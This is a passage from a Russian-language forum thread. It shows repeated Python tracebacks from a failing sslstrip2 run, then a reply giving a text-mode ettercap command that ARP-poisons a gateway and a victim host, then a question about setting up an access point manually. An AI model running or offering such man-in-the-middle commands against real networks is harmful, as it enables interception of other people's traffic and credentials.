    File "/usr/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line 396, in doPoll
    log.callWithLogger(selectable, _drdw, selectable, fd, event)
    --- <exception caught here> ---
    File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 101, in callWithLogger
    return callWithContext({"system": lp}, func, *args, **kw)
    File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithContext
    return context.call({ILogContext: newCtx}, func, *args, **kw)
    File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
    return self.currentContext().callWithContext(ctx, func, *args, **kw)
    File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
    return func(*args,**kw)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 610, in _doReadOrWrite
    self._disconnectSelectable(selectable, why, inRead)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 255, in _disconnectSelectable
    selectable.connectionLost(f)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 479, in connectionLost
    self._commonConnection.connectionLost(self, reason)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 293, in connectionLost
    protocol.connectionLost(reason)
    File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 486, in connectionLost
    self.handleResponseEnd()
    File "/root/sslstrip2/sslstrip/ServerConnection.py", line 127, in handleResponseEnd
    HTTPClient.handleResponseEnd(self)
    File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 497, in handleResponseEnd
    self.handleResponse(b)
    File "/root/sslstrip2/sslstrip/ServerConnection.py", line 143, in handleResponse
    self.client.write(data)
    File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 896, in write
    raise RuntimeError('Request.write called on a request after '
    exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
    
    Unhandled Error
    Traceback (most recent call last):
    File "./sslstrip.py", line 107, in main
    reactor.run()
    File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1194, in run
    self.mainLoop()
    File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1206, in mainLoop
    self.doIteration(t)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line 396, in doPoll
    log.callWithLogger(selectable, _drdw, selectable, fd, event)
    --- <exception caught here> ---
    File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 101, in callWithLogger
    return callWithContext({"system": lp}, func, *args, **kw)
    File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithContext
    return context.call({ILogContext: newCtx}, func, *args, **kw)
    File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
    return self.currentContext().callWithContext(ctx, func, *args, **kw)
    File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
    return func(*args,**kw)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 610, in _doReadOrWrite
    self._disconnectSelectable(selectable, why, inRead)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 255, in _disconnectSelectable
    selectable.connectionLost(f)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 479, in connectionLost
    self._commonConnection.connectionLost(self, reason)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 293, in connectionLost
    protocol.connectionLost(reason)
    File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 486, in connectionLost
    self.handleResponseEnd()
    File "/root/sslstrip2/sslstrip/ServerConnection.py", line 127, in handleResponseEnd
    HTTPClient.handleResponseEnd(self)
    File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 497, in handleResponseEnd
    self.handleResponse(b)
    File "/root/sslstrip2/sslstrip/ServerConnection.py", line 143, in handleResponse
    self.client.write(data)
    File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 896, in write
    raise RuntimeError('Request.write called on a request after '
    exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
    
    Unhandled Error
    Traceback (most recent call last):
    File "./sslstrip.py", line 107, in main
    reactor.run()
    File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1194, in run
    self.mainLoop()
    File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1206, in mainLoop
    self.doIteration(t)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line 396, in doPoll
    log.callWithLogger(selectable, _drdw, selectable, fd, event)
    --- <exception caught here> ---
    File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 101, in callWithLogger
    return callWithContext({"system": lp}, func, *args, **kw)
    File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithContext
    return context.call({ILogContext: newCtx}, func, *args, **kw)
    File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
    return self.currentContext().callWithContext(ctx, func, *args, **kw)
    File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
    return func(*args,**kw)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 610, in _doReadOrWrite
    self._disconnectSelectable(selectable, why, inRead)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 255, in _disconnectSelectable
    selectable.connectionLost(f)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 479, in connectionLost
    self._commonConnection.connectionLost(self, reason)
    File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 293, in connectionLost
    protocol.connectionLost(reason)
    File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 486, in connectionLost
    self.handleResponseEnd()
    File "/root/sslstrip2/sslstrip/ServerConnection.py", line 127, in handleResponseEnd
    HTTPClient.handleResponseEnd(self)
    File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 497, in handleResponseEnd
    self.handleResponse(b)
    File "/root/sslstrip2/sslstrip/ServerConnection.py", line 143, in handleResponse
    self.client.write(data)
    File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 896, in write
    raise RuntimeError('Request.write called on a request after '
    exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
    
    
     
    #18 moz9, 26 Sep 2016
    Last edited: 26 Sep 2016
  19. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    983
    Likes Received:
    1,162
    Reputations:
    61
    В текстовом
    ettercap -T -i wlan0 -M arp /192.168.1.1// /192.168.1.104//
     
    moz9 likes this.
  20. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    983
    Likes Received:
    1,162
    Reputations:
    61
    встал вопрос по поводу поднятия точки доступа вручную, кто сталкивался? есть пара вопросов.